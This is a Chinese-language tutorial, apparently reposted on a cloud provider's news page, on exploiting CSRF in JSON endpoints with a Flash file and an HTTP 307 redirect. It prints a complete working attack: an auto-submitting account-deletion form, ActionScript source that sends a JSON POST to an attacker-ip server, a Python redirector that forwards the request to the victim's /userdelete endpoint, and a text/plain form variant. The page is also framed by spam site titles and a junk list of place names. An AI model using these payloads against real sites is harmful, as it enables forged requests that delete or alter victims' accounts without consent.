中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么在JSON端點上利用CSRF漏洞

發布時間:2021-12-14 09:19:50 來源:億速云 閱讀:133 作者:柒染 欄目:網絡管理

怎么在JSON端點上利用CSRF漏洞,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

怎么在JSON端點上利用CSRF漏洞

(CSRF + Flash + HTTP 307)=別說了,你已經“死”了!

如果你想通過第三方攻擊者控制的服務器在JSON端點利用一個CSRF漏洞的話,我給大家推薦一個名叫json-flash-csrf-poc的GitHub項目【下載地址】。

背景故事

在近期的一次滲透測試過程中,我們不僅發現了幾個業務邏輯漏洞、XSS漏洞以及不安全的直接對象引用漏洞,而且還發現了一些跨站請求偽造(CSRF)漏洞。在我們所發現的漏洞中,有一個存在于JSON端點中的CSRF漏洞,這個端點可以接收JSON格式的POST body。如果要利用這個漏洞的話,我們需要發送自定義Content-Type頭并附帶POST body,但標準的JavaScript/HTML不支持這種類型的請求。在使用XMLHttpRequest時,按照CORS規范,自定義Header將調用一個預檢請求。接下來在這篇文章中,我們將告訴大家如何來利用這個CSRF漏洞。

利用CSRF漏洞時遇到的問題

CSRF漏洞對于攻擊者來說,作用是非常大的。如果一個網站存在CSRF漏洞,那么無論請求的來源是哪,該漏洞都可以自動利用瀏覽器的功能來發送認證令牌,而且服務器和應用程序默認情況下并不會區分請求的來源。

比如說,下面這個簡單的PoC利用的就是CSRF漏洞,它可以通過一個POST表單來調用賬號刪除功能:

<html>
 <body onload=myform.submit()>
  <form action="/userdelete"method="POST" name="myform">
   <input type="hidden"id="acctnum" name="acctnum" value="100">
   <input type="hidden"id="confirm" name="confirm" value="true">
  </form>
 </body>
</html>

當一個已登錄的用戶瀏覽這個惡意頁面時(使用同一瀏覽器,且認證會話處于活躍狀態),該頁面將會通過一個POST請求來觸發該功能。由于瀏覽器默認會發送認證令牌,該功能將會在服務器端被觸發,并完成攻擊。

需要注意的是,該請求中的Content-Type頭被設置成了application/x-www-form-urlencoded,因為服務器需要接收URL編碼后的HTML表單數據。

那我們為何不能使用這個PoC來利用JSON端點中的CSRF呢?原因如下:

1.   POSTbody需要以JSON格式發送,而這種格式如果用HTML表單元素來構建的話會比較麻煩。

2.   Content-Type頭需要設置為application/json。設置自定義Header需要使用XMLHttpRequests,而它還會向服務器端發送OPTIONS預檢請求。

Flash和重定向

AdobeFlash可以讓Web頁面向用戶請求使用ActionScript,而ActionScript同樣可以用來設置Web請求的自定義Header。除非遠程站點上存在有效的crossdomain.xml文件,否則Flash不會向不同來源的服務器發送帶有自定義Header的請求。

為了完全避免跨域文件的影響,我們使用Flash來向Flash文件所在的同一服務器發送請求(帶有我們的POST Payload),并獲取另一份文件。這個文件將作為重定向器并發送HTTP狀態碼307。307跟其他3XX HTTP狀態碼之間的區別就在于,HTTP 307可以確保重定向請求發送之后,請求方法和請求主體不會發生任何改變。HTTP 307會將POST body和HTTP頭重定向到我們所指定的最終URL,并完成攻擊。

內容整合

為了設計出最終的PoC,我們先來看一看存在漏洞的JSON端點和相關要求:

1.   /userdelete端點所能接受的請求Header需要是application/json。

2.   存在漏洞的端點需要發送下列JSON數據:

{"acctnum":"100","confirm":"true"}

攻擊者設置

攻擊者的服務器由以下組件和通信流組成:

1.   當目標用戶在瀏覽器中下載并運行了攻擊者所托管的Flash文件后,惡意文件將會向攻擊者的服務器(重定向器)發送HTTP POST請求。

2.   重定向器腳本會在響應信息(Location頭)中返回一個HTTP 307狀態碼。

3.   接下來,目標用戶的瀏覽器會像最終的URL發送另一個帶有HTTP頭的POST請求,并完成攻擊。


怎么在JSON端點上利用CSRF漏洞

創建csrf.swf文件

為了創建能夠發送Web請求的csrf.swf文件,我們需要按照以下步驟操作:

1.   安裝FlexSDK將ActionScript編譯為swf文件。Flex需要安裝32位的JVM,這一步可以安裝32位JDK來完成。

2.   創建一個包含下列ActionScript代碼的text文件,文件名為csrf.as。

3.   獲取托管Flash文件的主機系統(攻擊者的服務器)IP地址/域名,并替換掉代碼中的<attacker-ip>。

4.   運行“mxmlc csrf.as”命令,將該文件編譯為csrf.swf。

package
{
  import flash.display.Sprite;
  import flash.net.URLLoader;
  import flash.net.URLRequest;
  import flash.net.URLRequestHeader;
  import flash.net.URLRequestMethod;
public class csrf extends Sprite
  {
   public function csrf()
    {
      super();
      var member1:Object = null;
      var myJson:String = null;
      member1 = new Object();
      member1 = {
          "acctnum":"100",
          "confirm":"true"
      };
      var myData:Object = member1;
      myJson = JSON.stringify(myData);
      myJson = JSON.stringify(myData);
      var url:String ="http://attacker-ip:8000/";
      var request:URLRequest = newURLRequest(url);
      request.requestHeaders.push(newURLRequestHeader("Content- Type","application/json"));
      request.data = myJson;
      request.method = URLRequestMethod.POST;
      var urlLoader:URLLoader = newURLLoader();
try
      {
          urlLoader.load(request);
          return;
      }
      catch(e:Error)
      {
          trace(e);
          return;
      }
    }
  }
}

創建Web服務器

服務器的基本功能就是托管csrf.swf文件,并且在收到其他HTTP流量時發送307重定向,我們可以使用Python的BaseHTTPServer模塊來實現。

1.   創建一個包含了下列代碼的Python文件,文件名為pyserver.py。

2.   這份Python代碼就是我們托管csrf.swf的Web服務器,它可以向http://victim-site/userdelete端點發送HTTP 307重定向。

3.   通過命令“python pyserver.py”運行Web服務器。

import BaseHTTPServer
import time
import sys
   
HOST= '' 
PORT= 8000
   
classRedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
  def do_POST(s):
    if s.path == '/csrf.swf':
      s.send_response(200)
     s.send_header("Content-Type","application/x-shockwave-flash")
      s.end_headers()
      s.wfile.write(open("csrf.swf","rb").read())
      return 
    s.send_response(307)
    s.send_header("Location","http://victim-site/userdelete")
    s.end_headers()
  def do_GET(s):
    print(s.path)
    s.do_POST()
   
if__name__ == '__main__':
  server_class = BaseHTTPServer.HTTPServer
  httpd = server_class((HOST,PORT),RedirectHandler)
  print time.asctime(),"Server Starts -%s:%s" % (HOST,PORT)
  try:
    httpd.serve_forever()
  except KeyboardInterrupt:
    pass
  httpd.server_close()
  print time.asctime(),"Server Stops -%s:%s" % (HOST,PORT)

注:我們在創建這個HTTP重定向服務器時,參考了這個【GitHub庫】的代碼。

PoC工作流程

下面給出的是攻擊的整個過程,其中目標用戶的瀏覽器必須啟用Flash:

1.   用戶在瀏覽器中登錄http://victim-site/。

2.   用戶被重定向到http://attacker-ip:8000/csrf.swf。

3.   Flash文件加載成功,并向http://attacker-ip:8000/發送帶有自定義Header的POST Payload。

4.   攻擊者的服務器發送HTTP 307重定向,這樣便能讓POST響應body和自定義HTTP頭按原樣發送到 http://victim-site/。

5.   目標用戶刷新自己的 http://victim-site/ 頁面,并發現自己的帳戶已經被刪除了。

其他的想法

這里我們必須要使用到一份Flash文件以及307重定向器,因為服務器端會驗證請求的Content-Type是否為application/json。如果服務器沒有進行這種檢測,那我們就可以利用JavaScript來創建一個HTTP元素屬性,并用下面的代碼生成和發送POST請求:

<html>
 <body>
  <script src=" https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<form id="myform" enctype="text/plain"action="https://victim-site/userdelete" method="POST">
   <input id="json"type="hidden" name='json' value='test"}'>
  </form>
<script>
  $(document).ready(function() {
 $("#json").attr("name",'{"acctnum":"100","confirm":"true","a":"');
  $("#myform").submit();
  });
 </script>
</body>
</html>

當然了,你也可以使用Fetch_API來發送JSON POST請求并完成攻擊。

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

汤阴县| 万宁市| 鄂尔多斯市| 滁州市| 广宗县| 措勤县| 凌云县| 溧水县| 安顺市| 屏东县| 福建省| 德保县| 崇左市| 清镇市| 庆城县| 双柏县| 德钦县| 沙湾县| 陇西县| 永寿县| 弥勒县| 洪雅县| 老河口市| 无棣县| 万安县| 济阳县| 枞阳县| 清水河县| 石嘴山市| 中卫市| 嘉禾县| 定襄县| 甘孜县| 长宁区| 怀柔区| 昌邑市| 绍兴县| 南澳县| 县级市| 承德市| 临江市|